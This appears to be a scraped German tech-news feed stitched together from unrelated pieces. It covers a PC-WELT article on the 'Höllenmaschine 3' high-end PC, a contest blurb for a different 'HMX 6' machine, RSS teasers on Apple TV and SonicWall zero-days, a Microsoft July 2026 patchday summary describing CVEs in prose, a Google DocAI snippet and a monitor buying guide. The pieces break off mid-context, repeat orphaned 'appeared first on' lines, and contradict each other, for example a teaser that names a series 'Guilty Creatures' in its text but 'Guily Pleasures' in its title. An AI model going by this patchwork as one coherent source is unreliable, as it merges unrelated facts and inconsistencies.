
Massenspeicher: 4 x 1000 GB

Ausreichend Platz für umfangreiche Musik- und Video-Sammlungen gibt’s auf der zweiten Partition der Höllenmaschine 3: Sie besteht aus vier 1000-GB-Laufwerken des Typs Seagate Barracuda 7200.11 ST31000340AS, die für den 24-Stunden-Betrieb ausgelegt sind. Wir haben die vier Terabyte-Speichermonster ebenfalls zu einem Raid-10-Verbund gebündelt. Die Festplatten bieten dann zusammen eine formatierte Kapazität von knapp 1,9 Terabyte. Der Pufferspeicher der Barracuda 7200.11 beträgt übrigens 32 MB.

Die Barracuda 7200.11 setzt auf die SATA-300-Schnittstelle, die eine theoretische Transferrate von bis zu 300 MB/s erreicht. In der Praxis erzielen Sie diesen Wert zwar nicht, bei einem Raid-0-Verbund aus zwei Platten dürfen Sie aber durchschnittlich mit deutlich über 100 MB/s rechnen. Damit verwalten und archivieren Sie selbst große Videodateien sehr flott.

Die Seagate Barracuda 7200.11 ST31000340AS ist technisch auf der Höhe der Zeit: Das 3,5-Zoll-Laufwerk beherrscht die Technik Native Command Queuing (NCQ). NCQ erlaubt der Festplatte, die vom System geforderten Zugriffe selbstständig zu verwalten. Sie kann so die optimale Reihenfolge der Zugriffe ermitteln: Das spart zusätzliche Drehbewegungen, verkürzt damit die Wegstrecken, die der Schreib-/Lesekopf zurücklegen muss, und sorgt ergo für ein höheres Tempo.

Eine höhere Datenübertragungsrate lässt sich auch mit Perpendicular Recording erzielen, da die Datenbits nicht mehr horizontal, sondern vertikal auf dem Datenträger angeordnet sind. Auch diese moderne Technik setzt die Barracuda 7200.11 ein. Hier finden Sie detaillierte Informationen zur Spezifikation der Seagate Barracuda 7200.11 ST31000340AS.

Multi-Spieler: Blu-Ray, DVD und HD-DVD

Die Höllenmaschine 3 haben wir zudem mit einem Blu-Ray-Brenner bestückt. Der LG Electronics GGW-H20L beschreibt BD-Rs, BD-REs sowie sämtliche DVD-Rohlingstypen und liest alle gängigen Medien, darunter auch HD-DVDs. Der Pufferspeicher des internen 3,5-Zoll-Laufwerks beträgt 4 MB.

Bei maximalem 6-fachem Schreibtempo schaufelt der GGW-H20L bis zu 26,3 MB pro Sekunde über die SATA-Schnittstelle und füllt so einen einlagigen 25-GB-BR-Rohling in rund 15 Minuten. BD-REs beschreibt der Blu-Ray-Brenner mit 2‑facher Geschwindigkeit. Blu-Ray-Medien liest der LG Electronics GGW-H20L ebenfalls mit 6-fachem Tempo und HD-DVDs immerhin mit 3-facher Geschwindigkeit.

DVDs sowie CDs liest der Blu-Ray-Brenner mit maximal 16- beziehungsweise 40-facher Geschwindigkeit, DVD-RAMs mit 5-fachem Tempo. DVD±Rs beschreibt das Laufwerk mit 16-fachem, DVD-RWs mit 6fachem und DVD+RWs mit 8fachem Tempo. Dual-Layer- und Double-Layer-DVD+Rs brennt das interne Laufwerk mit 4-facher Geschwindigkeit, DVD-RAMs mit 5-fachem Tempo. CD-Rs sowie CD-RWs beschreibt der Blu-Ray-Brenner mit 40‑fachem respektive 24‑fachem Tempo.

Im Lieferumfang des Blu-Ray-Laufwerks enthalten sind die Programme Cyberlink Power DVD7, Cyberlink Power Producer 4 und Power 2Go. Hinzu kommt ein BD-RE-Rohling mit 25 GB Kapazität. Neben dem GGW-H20L haben wir als zweites optisches Laufwerk einen DVD-Brenner von Samsung eingebaut.

TFTs: 30-Zoll-Breitbild und 7-Zoll-Touchscreen

Für viel Übersicht sorgt das 30-Zoll-Breitbild-TFT Eizo SX3031W für knapp 2500 Euro, das wir der Höllenmaschine 3 zur Seite stellen. Die physikalische Auflösung des LCD-Bildschirms beträgt 2560 x 1600 Bildpunkte. Zudem kann der Eizo-Bildschirm gängige PC-Auflösungen im 4-zu-3-Bildformat wie 1600 x 1200, 1280 x 1024, 1024 x 768 und 800 x 600 Bildpunkte sauber skalieren.

Die Helligkeit des TFTs mit einer Bildschirmdiagonalen von 75,6 Zentimetern liegt nach Herstellerangaben bei 260 cd/m² und das Kontrastverhältnis bei 900:1. Den horizontalen und vertikalen Blickwinkel gibt Eizo mit jeweils 178 Grad an. Die Horizontalfrequenz liegt zwischen 31 und 100 kHz, die Vertikalfrequenz bewegt sich zwischen 59 und 61 Hz. Die Reaktionszeit gibt Eizo mit 6 Millisekunden an.

Der 30-Zoll-Breitbild-TFT misst 68,9 x 48,9 x 27,2 Zentimeter (B x H x T). Der SX3031W bringt mit Standfuß 15,3 Kilogramm auf die Waage. Anschluss an die Höllenmaschine 3 findet der Bildschirm über einen der beiden DVI-D-Buchsen, davon ist eine als Dual-Link und eine als HDCP-kompatible Single-Link ausgelegt.

Alternativ kann der Eizo-Bildschirm an beiden DVI-I-Eingängen jeweils Single-Link-Signale zweier PCs oder zweier Grafikkartenanschlüsse verarbeiten. In diesem Fall zeigt der 30-Zoll-Breitbild-TFT die beiden Bilder nebeneinander (Picture-by-Picture) und kann so als 21-Zoll-Zweischirmlösung fungieren. Hier finden Sie detaillierte Informationen zum Eizo SX3031W.

Mehr Flexibilität: Der 7-Zoll-TFT-Touchscreen ist für den Cube-Tower Mozart TX VE 1000BNS von Thermaltake konzipiert – die Gehäusebasis der Höllenmaschine 3. Dabei ist der Bildschirm in einem Laufwerkseinschub integriert und lässt sich in die Gehäusefront versenken. Die physikalische Auflösung des Touchscreens beträgt 1280 x 768 Bildpunkte. Die Stromversorgung des LCD-Bildschirm erfolgt über das Netzteil der Höllenmaschine 3. Mit im Lieferumfang des 7-Zoll-TFTs befindet sich eine Infrarot-Fernbedienung.

Stromversorgung: 2000 Watt

Keine Kompromisse machen wir bei der Stromversorgung und setzen das stärkste Netzteil ein, das wir bekommen konnten: das Thermaltake Toughpower 2000W, ein weiterer Prototyp, den es derzeit noch nicht zu kaufen gibt. Das 2000-Watt-Kraftpaket erfüllt mit ATX 12V 2.3 sowie EPS 2.92 die aktuellen Spezifikationen für Desktop- und Server-Netzteile.

Das Thermaltake Toughpower 2000W besitzt zwei voneinander unabhängige 12-Volt-Schienen, die jeweils bis zu 80 Ampere Stromstärke liefern und unsere beiden Quad-Core-Prozessoren jeweils über zwei vierpolige CPU-Stromstecker versorgen. Ebenfalls auf dem neuesten Stand der Technik sind die sechs 8-poligen (6 + 2) PCI-Express-Stromstecker.

Kompressorkühlung

Bei der recht hohen Leistungsaufnahme – die exakten Verbrauchswerte liefern wir noch nach – ist für den stabilen Betrieb der Höllenmaschine 3 eine effiziente Kühlung der hitzigsten Komponenten unverzichtbar. Diese Aufgabe übernimmt diesmal ein Kompressorkühlungssystem von Coolit Systems.

Die Prozessoren kühlt das Modell Freezone Elite, das bis zu 250 Watt Verlustleistung aufnehmen kann. Auch die beiden Grafikkarten und der Hauptplatinen-Chipsatz werden von speziell angepassten Kompressorkühlungssystemen unseres Kooperationspartners Coolit Systems gekühlt. Details erfahren Sie, sobald wir die Höllenmaschine 3 mit den Sonderanfertigungen aufgerüstet haben.

Gehäuse-Unikat: Casemod für 6000 Euro

Für die Gestaltung des Gehäuses konnte die PC-WELT wieder den Modding-Profi Heiko Polaczek engagieren. Der auch unter dem Alias „Fastbrain1“ bekannte Polaczek, ist seit 15 Jahren eine feste Größe in der internationalen Casemoding-Szene.

Ebenfalls eine Szenengröße konnten wir für die Bemalung der Höllenmaschine 3 in Airbrush-Technik gewinnen. Der Experte ist allerdings so bescheiden, dass wir derzeit nur seinen Spitznamen nennen dürfen: old_airbrush.

Die Höllenmaschine 3 ins rechte Licht gerückt hat der bekannte Fotograf Florian Schiller – er hat langjährige Erfahrung mit Divas.

Der Casemod „PC-WELT Höllenmaschine 3“ summiert sich mit Material und Arbeitsaufwand auf rund 6000 Euro. Wie Heiko Polaczek und old_airbrush aus dem Cube-Tower unser exklusives Schmuckstück geformt haben, erfahren Sie in Kürze auf PC-WELT.tv in der Beitragsreihe „Making of Höllenmaschine 3“.

Software: Luxus-Paket für 5000 Euro

Die Adobe Creative Suite 3 Master Collection für knapp 3500 Euro enthält folgende Anwendungen: Acrobat 8 Professional, After Effects CS3 Professional, Contribute CS3, Dreamweaver CS3, Encore CS3, Fireworks CS3, Flash CS3 Professional, Illustrator CS3, InDesign CS3, Photoshop CS3 Extended, Premiere Pro CS3 und Soundbooth CS3.

Mit im Lieferumfang der Adobe Creative Suite 3 Master Collection sind die Zusatzfunktionen und -techniken Acrobat Connect, Bridge CS3, Device Central CS3, Dynamic Link CS3, OnLocation CS3, Stock Photos, Version Cue CS3 und Ultra CS3.

Egal, ob Sie die Höllenmaschine 3 als Render-Workstation, High-End-Spielerechner oder Virtualsierungs-Server verwenden wollen, mit den installierten Betriebssystemen Microsoft Windows Server 2008 sowie Microsoft Windows Vista Ultimate stehen Ihnen zahlreiche Einsatzmöglichkeiten offen.

Und wer die Höllenmaschine 3 im Büroeinsatz unterfordern will, installiert das beiliegende Microsoft Office 2007 Professional. Das Software-Paket enthält die 2007er-Versionen von Access, Accounting Express, Excel, Outlook (mit Business Contact Manager), Powerpoint, Publisher und Word.

Nach der CeBIT beginnen wir unsere Tests mit den 64-Bit-Betriebssystemen Linux, Server 2008 und Vista.

Apropos: Ein perfekter Bedienkomfort gehört natürlich auch zu unserem 30.000-Euro-Luxusrechner. Dazu stellen wir Ihnen Eingabegeräte von Gyration zur Verfügung. Maus und Tastatur stammen aus der Optical Air Suite Go 2.4. Dazu kommt die Remote Suite des Media Center Go 2.4.

So gewinnen Sie die HMX 6

Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern

Wie Sie die HMX 6 verfolgen können

In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.

Die Award-Saison 2026 läuft für Apple TV weiter auf Hochtouren. Bei den 78. Primetime Emmy Awards kommt der Streamingdienst auf 89 Nominierungen über 15 Programme ... Weiterlesen ...

Der Beitrag Apple TV kann sich 89 Nominierungen bei den kommenden Emmy-Awards sichern erschien zuerst auf Apfelpage.

Bei seinem Patchday am 14. Juli hat Microsoft Sicherheits-Updates gegen 570 neue Sicherheitslücken bereitgestellt. Rechnet man die Patches zusammen, die Microsoft seit Anfang des Monats bereitgestellt hat, werden es sogar mehr als 620. Dies als neuen Rekordwert zu bezeichnen, wäre eine maßlose Untertreibung – der bisherige Rekord lag bei 206 im Juni 2026, ist also nur fünf Wochen alt. Die Gesamtzahl der bislang in diesem Jahr gestopften Lücken (1380) übertrifft damit bereits jetzt die des Rekordjahrs 2020 (1250).

Neben Windows und Office sind auch Exchange Server, Hyper-V, Visual Studio, Github Copilot und Microsofts Cloud-Dienste betroffen, ebenso Ages of Empire II und Minecraft Server – im Grunde das gesamte Microsoft-Portfolio. Zwei Lücken werden bereits für Angriffe ausgenutzt. Ganze 58 der 570 Schwachstellen stuft Microsoft als kritisch ein, die übrigen sind fast alle als hohes Risiko ausgewiesen.

Die Details zu den Schwachstellen bietet Microsoft zum Selbstsuchen im Leitfaden für Sicherheitsupdates. Deutlich übersichtlicher bereitet Dustin Childs im Blog von Trend Micro ZDI das Thema Update-Dienstag auf – stets auch mit Blick auf Admins, die Unternehmensnetzwerke betreuen.

Edge-Updates stopfen über 400 Chromium-Lücken

Das neueste Sicherheits-Update auf Edge 150.0.4078.65 ist vom 9. Juli und basiert auf Chromium 150.0.7871.115. Es behebt 27 Chromium-Schwachstellen, die bei der oben genannten Gesamtlückenanzahl ebenso wenig eingerechnet sind wie die über 400 Chromium-Lücken aus der ersten Juli-Woche – andernfalls lägen wir bei mehr als 1000. Und inzwischen steht bereits das nächste Chrome-/Chromium-Update mit 15 behobenen Schwachstellen bereit.

Schwachstellen in Windows

Ein großer Anteil der Schwachstellen, diesmal über 400, verteilt sich über die verschiedenen Windows-Versionen (10, 11, Server), für die Microsoft noch Sicherheits-Updates anbietet. Windows 10 wird weiterhin ganz normal als betroffenes System genannt, obwohl die Unterstützung im Oktober 2025 offiziell ausgelaufen ist – das lief bei Windows 7 trotz ESU-Programm (Erweiterte Sicherheits-Updates) noch anders. Microsoft hat das ESU-Programm für Windows 10 auf privat genutzten Rechnern bis 12. Oktober 2027 verlängert.

Attacken auf Active Directory

Die einzige Windows-Lücke in diesem Monat, die bereits für Angriffe ausgenutzt wird, ist die EoP-Schwachstelle CVE-2026-56155 in den Active Directory-Verbunddiensten (AD FS). Die ist als hohes Risiko eingestuft und Microsoft weist den CVSS-Score 7.8 aus. Die Zugriffskontrollen sind nicht feinmaschig genug und so kann ein Angreifer Administratorrechte erlangen. Anfällig sind Windows Server 2012 bis 2025 sowie ältere Windows-10-Versionen (1607, 1809).

Kritische Windows-Lücken

Unter den 413 Schwachstellen in Windows, die Microsoft in diesem Monat beseitigt, sind 24 als kritisch eingestufte RCE-Lücken und sieben kritische EoP-Lücken. Mit einem CVSS-Score von 9.9 (10 ist der Höchstwert) ragt die UAF-Lücke (use after free) CVE-2026-57092 in VMSwitch (Hyper-V) aus der Masse heraus. Ein erfolgreicher Angreifer mit niedrigen Rechten kann aus dem Gastsystem heraus höhere Berechtigungen auf dem Hostsystem erlangen.

▶Die neuesten Sicherheits-Updates

Im Remote Desktop Protocol (RDP) wartet die RCE-Lücke CVE-2026-56190 auf entschlossene Angreifer. Diese können mittels speziell gestalteter RDP-Pakete mit Speicher interagieren, der nicht ordentlich initialisiert wurde. Sie erhalten damit die Möglichkeit, Speicher so zu manipulieren, dass eingeschleuster Code ausgeführt wird.

Wie die vorgenannte RDP-Schwachstelle kommt auch die RCE-Lücke CVE-2026-50518 im DHCP-Server auf den CVSS-Score 9.8. Sie ist eine von neun DHCP-Schwachstellen, die Microsoft in diesem Monat beseitigt. Im Windows Server-Netzwerktreiber steckt die RCE-Lücke CVE-2026-56188 mit dem CVSS-Score 9.8. Hier kann ein Angreifer mit speziell präparierten Datenpaketen ansetzen, um auf anfälligen Systemen eingeschleusten Code auszuführen. Und anfällig sind alle noch unterstützten Windows-Ausgaben, von Windows 10 bis Server 2025.

Etliche Office-Lücken gestopft

In seinen Office-Produkten hat Microsoft 97 Schwachstellen beseitigt, fast doppelt so viele wie im Juni. Darunter sind 17 als kritisch eingestufte RCE-Lücken (remote code execution). Bei diesen ist meist bereits das Vorschaufenster ein Angriffsvektor – ein Benutzer muss eine präparierte Datei nicht erst mit Office öffnen, um eine erfolgreiche Attacke zu ermöglichen. Die übrigen 48 RCE-Lücken können ausgenutzt werden, wenn ein Benutzer eine präparierte Office-Datei in einem anfälligen Office-Produkt öffnet (open-and-own).

▶Microsoft stoppt Rollout des Secure-Boot-Updates

Auch Lücken mit mittlerem Risiko verdienen Beachtung: Die lediglich als mittleres Risiko eingestufte EoP-Schwachstelle CVE-2026-56164 (elevation of privilege) in Sharepoint Server wird bereits für Angriffe ausgenutzt. Ein Angreifer kann übers Netzwerk ohne Benutzeranmeldung Zugriff erlangen. Wer die SFB-Lücke (security feature bypass) CVE-2026-55040 in Sharepoint Server (CVSS 9.1) ausnutzt, kann ohne Benutzeranmeldung auf Dateien zugreifen (kopieren und manipulieren). Die Sharepoint-Schwachstellen CVE-2026-50522/-58644 sind als kritisch ausgewiesene RCE-Lücken (CVSS 9.8). Für CVE-2026-50522 existiert ein funktionsfähiger Demo-Exploit, der beim Hacker-Wettbewerb Pwn2own erfolgreich vorgeführt, aber nicht im Detail veröffentlicht wurde.

Tipp: Unabhängig davon, dass Sie das Betriebssystem stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Spoofing im Exchange Server

In Exchange Server hat Microsoft in diesem Monat vier Schwachstellen behoben, eine fünfte in Exchange Online. Als kritisch ist nur die Spoofing-Lücke CVE-2026-55008 (CVSS 9.6) ausgewiesen, der eine XSS-Schwachstelle (cross-site scripting) zugrunde liegt. Wenn eine speziell präparierte Mail in Outlook Web Access (OWA) geöffnet wird, kann ohne weitere Voraussetzungen beliebiger Javascript-Code im Browser ausgeführt werden.

Endlich einmal etwas speziell für Gamer

In dedizierten Server von Minecraft Bedrock hat Microsoft die RCE-Lücke CVE-2026-55010 (CVSS 9.8) bereits gestopft. Als Betreiber eines Minecraft-Servers müssen Sie nichts weiter unternehmen, sagt Microsoft. Bei Age of Empires II: Definitive Edition müssen Sie hingegen aktiv werden. Ein Angreifer kann die RCE-Lücke CVE-2026-50663 (CVSS-Score 8.8) ausnutzen, indem er eine speziell präparierte Spielszenario-Datei erstellt und andere dazu bringt, diese zu öffnen. Dadurch kann eine Datei mit schädlichem Code an unerwarteter Stelle abgelegt und womöglich ausgeführt werden.

Im Juli gibt es wieder ein neues Windows-Tool zum Entfernen bösartiger Software. Der nächste turnusmäßige Update-Dienstag ist am 11. August 2026.

The post FaceTime Scams Impersonate Apple Support and Banks to Steal Account Credentials appeared first on Cyber Security News.

The post Critical SonicWall SMA 1000 SSRF and Remote Code Execution Flaws Actively Exploited in the Wild appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Read more →

The post Two SonicWall SMA 1000 Zero-Days Exploited, One Could Enable Admin Commands appeared first on IT Security News.

Read more of this story at Slashdot.

The post SonicWall SMA appliances targeted in zero-day attacks (CVE-2026-15409, CVE-2026-15410) appeared first on Help Net Security.

Read more →

The post SonicWall SMA appliances targeted in zero-day attacks (CVE-2026-15409, CVE-2026-15410) appeared first on IT Security News.

Apple TV erweitert sein Serienportfolio um eine neue Thriller-Serie. In „Guilty Creatures“ übernimmt die dreifache Emmy-Preisträgerin und Golden-Globe-Gewinnerin Julia Garner dabei die Hauptrolle. Guilty Creatures“ ... Weiterlesen ...

Der Beitrag Apple TV kündigt neue Thrillerserie „Guily Pleasures“ mit Julia Garner an erschien zuerst auf Apfelpage.

Einen Monat vor der offiziellen Präsentation sickern weitere Details der neuen Pixel 11 Serie durch, unter anderem waren bei Amazon wohl alle Farben mit Produktbildern…

Dieser Artikel Pixel 11 Serie: Brandneuer Prozessor auf 2 nm, Farben und andere Details geleakt erschien zuerst auf SmartDroid.de.

Tags: #Cyber Crime | #Cyberangriff | #Russland

Read more of this story at Slashdot.

Tags: #Instagram | #Künstliche Intelligenz | #Meta

Tags: #Cyber Security | #Sicherheitswarnungen

Tags: #Cyber Crime | #EU | #Russland

Tags: #Cyber Crime | #WordPress

Read more of this story at Slashdot.

Read more →

The post Operation Endgame Disrupts Global Cyber Crime Assembly Line appeared first on IT Security News.

Belgian fintech company, Unifiedpost Group has deployed Procurement DocAI to process nearly 350 million invoices and other procure-to-pay docs per year, in 15 countries across Europe. 

Procurement DocAI, which was announced at Google Cloud Next OnAir, automates the capture of invoices, receipts and other procurement data at scale. It takes unstructured documents across a variety of formats and turns them into cleanly structured data, increasing operational efficiency and improving document processing accuracy.    

“At Unifiedpost, we believe that administrative and financial processes should be simple and smart. Google Cloud’s Procurement DocAI solution helps us achieve that goal by providing the best in class document automation processing with high accuracy and global, multi-language support.” - Hans Leybaert, CEO, Unifiedpost Group

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Ein neuer Monitor ist das wohl spürbarste Upgrade für jeden PC-Arbeitsplatz. Schließlich starren wir täglich stundenlang genau auf diese eine Komponente. Während vor einigen Jahren noch vor allem die Bildschirmdiagonale und die Auflösung entscheidend waren, stehen Käufer heute vor einer technologischen Grundsatzfrage.

Die Eier legende Wollmilchsau gibt es nämlich leider immer noch nicht: Was beim nächtlichen Zocken für offene Münder sorgt, kann Sie beim morgendlichen Excel-Marathon im hell erleuchteten Homeoffice schnell im Stich lassen.

Damit Sie beim Upgrade nicht in technische Fettnäpfchen treten, dröseln wir die Stärken und Schwächen der drei wichtigsten Technologien auf und geben eine Kaufberatung für die unterschiedlichen Modelltypen.

Die drei Panel-Technologien im Alltags-Check

Um das Maximum aus Ihrem Budget herauszuholen, sollten Sie die Charakteristiken der Panel-Typen kennen. Jede Technik hat ein optimales Einsatzgebiet.

1. Der IPS-Monitor: Unkomplizierter Allrounder für den Alltag

IPS (In-Plane Switching) gilt seit Jahren als der vernünftige Alleskönner unter den Display-Technologien. Die Technologie ist ausgereift, langlebig und bietet hervorragende Farbtreue sowie extrem stabile Blickwinkel. Egal, ob Sie schräg vor dem Monitor sitzen oder ein Kollege von der Seite daraufblickt: Die Farben verfälschen sich nicht.

Das größte Manko dieser Technik ist jedoch der systembedingte Kontrast. Weil hier eine dauerhafte Hintergrundbeleuchtung durch die Flüssigkristalle scheint, schimmert Schwarz im dunklen Raum eher dunkelgrau (IPS-Glow).

Für wen eignen sich IPS-Displays?

Dieser Displaytyp ist ideal fürs Homeoffice, klassische Büroarbeiten, Bildbearbeitung und Gelegenheitsspieler, die einen zuverlässigen Monitor ohne das Risiko von Einbrenneffekten suchen.

Produktempfehlung: LG UltraGear 27GR75Q-B

LG

Preis: ca. 299 Euro

Technik-Specs:

• Bilddiagonale & Format: 27 Zoll (68,5 cm), Seitenverhältnis 16:9
• Auflösung & Panel-Typ: WQHD (2.560 × 1.440 Pixel), IPS-Panel
• Farbraum & Helligkeit: 99 % sRGB-Abdeckung, HDR10-Unterstützung, maximale Helligkeit 300 Nits
• Bildwiederholrate & Reaktionszeit: 165 Hz nativ, 1 ms
• Synchronisation: AMD FreeSync Premium, Nvidia G-Sync Compatible
• Ergonomie-Funktionen: Höhenverstellbar, neigbar, schwenkbar, Pivot-Funktion (90-Grad-Drehung)
• Zusatzfunktionen: Flicker-Safe-Hintergrundbeleuchtung, Blaulichtreduktion (Reader Mode), softwarebasierte Menüsteuerung (OnScreen Control)
• Anschlüsse: 1 × DisplayPort 1.4, 2 × HDMI (Version herstellerseitig nicht spezifiziert), 1 × 3,5-mm-Klinkenanschluss (Kopfhörer)

Der LG UltraGear 27GR75Q-B bedient die im Consumer-Bereich weitverbreitete Kombination aus 27-Zoll-Diagonale und WQHD-Auflösung. Das verbaute IPS-Panel bietet eine Pixeldichte, die für eine angenehm scharfe Textdarstellung im Büroalltag sorgt, während die Bildwiederholrate von 165 Hz flüssige Bildbewegung beim Gaming verspricht.

Mit einer herstellerseitig angegebenen sRGB-Farbraumabdeckung von 99 Prozent eignet sich das Modell auch für grundlegende Bildbearbeitungen im semiprofessionellen Bereich.

2. Mini-LED-Monitore: HDR-Leuchtkraft für helle Räume

Mini-LED ist die Evolution des klassischen LCD-Monitors. Statt einiger großer Leuchtdioden sitzen dabei jedoch tausende winzige LEDs hinter dem Panel, die in hunderten separaten Zonen geregelt werden können (Local Dimming).

Der Effekt: Wo das Bild besonders dunkel sein soll, können die entsprechenden Dimmzonen stark heruntergeregelt oder sogar abgeschaltet werden. Das sorgt für fantastische Kontraste und eine beeindruckende Spitzenhelligkeit, die echtes, blendendes HDR ermöglicht.

Der Nachteil: Um helle Objekte auf dunklem Grund (wie den Mauszeiger) kann ein minimaler Lichtkranz entstehen (Blooming).

Für wen eignen sich Mini-LED-Monitore?

Besonders in hellen Räumen spielt Mini-LED seine Stärken aus. Die Technik eignet sich außerdem für ambitionierte Gamer und Film-Enthusiasten, die spektakuläre HDR-Effekte ohne Kompromisse bei der Helligkeit erleben möchten.

Produktempfehlung: AOC Gaming Q27G3XMN

AOC

Preis: 259 Euro

Technik-Specs:

• Bilddiagonale & Format: 27 Zoll (68,6 cm), Seitenverhältnis 16:9, mattes Display
• Auflösung & Panel-Typ: QHD (2.560 × 1.440 Pixel), VA-Panel
• Hintergrundbeleuchtung: Mini-LED-Technologie mit 336 lokalen Dimmzonen (Local Dimming)
• Kontrast & Helligkeit: Statischer Kontrast 3.000:1, maximale Spitzenhelligkeit 1.000 Nits
• HDR-Zertifizierung: VESA Certified DisplayHDR 1000
• Bildwiederholrate & Reaktionszeit: 180 Hz nativ, 1 ms
• Synchronisation: AMD FreeSync Premium Pro
• Ergonomie-Funktionen: 130 mm höhenverstellbar, Pivot-Funktion (90-Grad-Drehung), abnehmbarer Standfuß, VESA-Wandhalterung kompatibel (100 x 100 mm)
• Zusatzfunktionen: Flicker-Free-Hintergrundbeleuchtung, Blaulichtreduktion (Low Blue Light), herstellereigene Konfigurationssoftware (AOC G-Menu)
• Anschlüsse: 1 × DisplayPort 1.4, 2 × HDMI 2.0, 1 × 3,5-mm-Klinkenanschluss (Kopfhörer)
• Lieferumfang & Service: Monitor, Stromkabel, HDMI-Kabel, DisplayPort-Kabel, Treiber-CD, 3 Jahre Herstellergarantie

Der AOC Gaming Q27G3XMN platziert sich als vergleichsweise günstiger Einstieg in die Mini-LED-Technologie. Durch die VESA-Zertifizierung nach dem DisplayHDR-1000-Standard liefert das Panel eine deutlich höhere Spitzenhelligkeit und Dynamik als klassische IPS-Monitore ohne lokales Dimming. 336 separate Dimmzonen ermöglichen eine selektive Abschaltung der Hintergrundbeleuchtung, womit der Kontrast bei der Darstellung von HDR-Inhalten im Vergleich zu herkömmlichen Edge-LED-Modellen sichtbar steigt.

3. OLED-Monitore: Das visuelle Nonplusultra mit perfektem Schwarz

OLED-Monitore sind der Traum vieler Gamer und Heimkino-Enthusiasten. Weil hier jedes Pixel als winziges, selbstleuchtendes Element agiert, benötigt OLED keine Hintergrundbeleuchtung. Wird ein Pixel abgeschaltet, ist es absolut schwarz. Das resultiert in unendlichem Kontrast und einer Bildtiefe, die keine andere Technik erreicht.

Hinzu kommen Reaktionszeiten nahe dem theoretischen Nullpunkt. Allerdings erreichen OLED-Monitore bei großflächigen Bildinhalten meist nicht die Dauerhelligkeit hochwertiger Mini-LED-Displays. Bei statischen Inhalten (wie Excel-Tabellen oder Taskleisten) besteht auf Dauer zudem ein theoretisches Risiko für Einbrenneffekte (Burn-In). Solche Monitore setzen deshalb auf verschiedene Schutzmechanismen wie Pixel-Refresh, Pixel-Shift oder automatische Helligkeitsanpassungen.

Für wen eignet sich die OLED-Technik?

Für Hardcore-Gamer, Cineasten und Nutzer, die primär in abgedunkelten Räumen arbeiten oder spielen und die absolut beste Bildqualität suchen.

Produktempfehlung: Asus ROG Swift OLED PG27AQDM

Asus

Preis: 600 Euro

Technik-Specs:

• Bilddiagonale & Format: 26,5 Zoll (67,3 cm), Seitenverhältnis 16:9, Anti-Glare-Oberfläche (reflexionsarm)
• Auflösung & Panel-Typ: WQHD (2.560 × 1.440 Pixel), 10-Bit-OLED
• Farbraum & Farbtreue: 99 % DCI-P3-Farbraumabdeckung, sehr hohe Farbgenauigkeit (Delta E < 2)
• Helligkeit: Maximale Spitzenhelligkeit von 1.000 Nits, optionale Funktion für gleichmäßige Helligkeitsbegrenzung
• Bildwiederholrate & Reaktionszeit: 240 Hz nativ, 0,03 ms
• Synchronisation & Input: Nvidia G-Sync Compatible, AMD FreeSync Premium, GameFast Input (Eingabeverzögerungs-Reduzierung)
• Panel-Schutz (Wärmemanagement): Integrierter, angepasster Kühlkörper (Heatsink), softwareseitige Spannungsoptimierung zur Verringerung des Burn-In-Risikos
• Ergonomie & Bedienung: Standfuß mit flexiblen Verstellmöglichkeiten, Monitoreinstellungen über Windows-Software per Maus steuerbar
• Anschlüsse: DisplayPort 1.4, HDMI (Version herstellerseitig nicht spezifiziert), integrierter USB-Hub

Der Asus ROG Swift OLED PG27AQDM setzt auf die typischen Stärken der OLED-Technologie: konstruktionsbedingt perfektes Schwarz und extrem niedrige Reaktionszeiten von 0,03 Millisekunden.

In Kombination mit der hohen Bildwiederholrate von 240 Hertz eignet sich das Modell primär für schnelle, kompetitive Spiele. Um der typischen OLED-Problematik des Panel-Einbrennens (Burn-In) entgegenzuwirken, verbaut der Hersteller einen passiven Kühlkörper und nutzt eine softwareseitige Spannungsoptimierung, die die thermische Belastung der organischen Pixel im Betrieb reduzieren soll.

Die drei Technologien im Vergleich

Hier sehen Sie die Stärken und Schwächen im direkten Schlagabtausch, um die richtige Kaufentscheidung für Ihren Arbeitsplatz zu treffen:

Software-Ergänzungskit: Mehr Komfort im Monitor-Alltag

Ein Hardware-Upgrade ist nur die halbe Miete. Mit diesen drei kostenlosen Software-Tools holen Sie noch mehr aus Ihrem neuen Bildschirm heraus:

• Microsoft PowerToys (FancyZones): Gerade bei großen oder ultra weiten Monitoren ist das Standard-Fensterlayout von Windows überfordert. Mit dem Modul FancyZones unterteilen Sie Ihren Bildschirm in feste, frei definierbare Raster, in die Sie Fenster mit gedrückter Shift-Taste blitzschnell einrasten lassen. Ein Must-Have für Multitasking.
• Twinkle Tray: Wer die Helligkeit seines Monitors nicht mühsam über die fummeligen Tasten direkt am Gehäuse verstellen möchte, steuert mit diesem Tool die Monitorhelligkeit ganz bequem per Mausrad oder Tastenkombination direkt aus der Windows-Taskleiste heraus.
• Auto Dark Mode: Um bei OLED-Displays dauerhaft helle Oberflächen zu reduzieren und am Abend die Augen zu entlasten, schaltet dieses Tool Windows sowie kompatible Apps und Websites nach Sonnenuntergang automatisch in den dunklen Design-Modus.

Fazit: Welcher Monitor-Typ sind Sie?

Das perfekte Monitor-Upgrade richtet sich immer nach Ihrem Nutzungsverhalten im Alltag: Wer einen treuen, langlebigen Partner sucht, der acht Stunden am Tag ohne Murren Office-Dokumente anzeigt und beim Budget nicht schmerzt, greift zum IPS-Klassiker.

Wer sich hingegen von spektakulären HDR-Effekten in Filmen und Spielen begeistern lassen will oder tagsüber in hellen Räumen arbeitet, findet im Mini-LED-Monitor einen hell leuchtenden Allrounder. Wenn kompromisslose Bildqualität, perfektes Schwarz und die schnellsten Reaktionszeiten beim Gaming im Vordergrund stehen, führt kein Weg am OLED-Panel vorbei – sofern das nötige Kleingeld vorhanden ist.

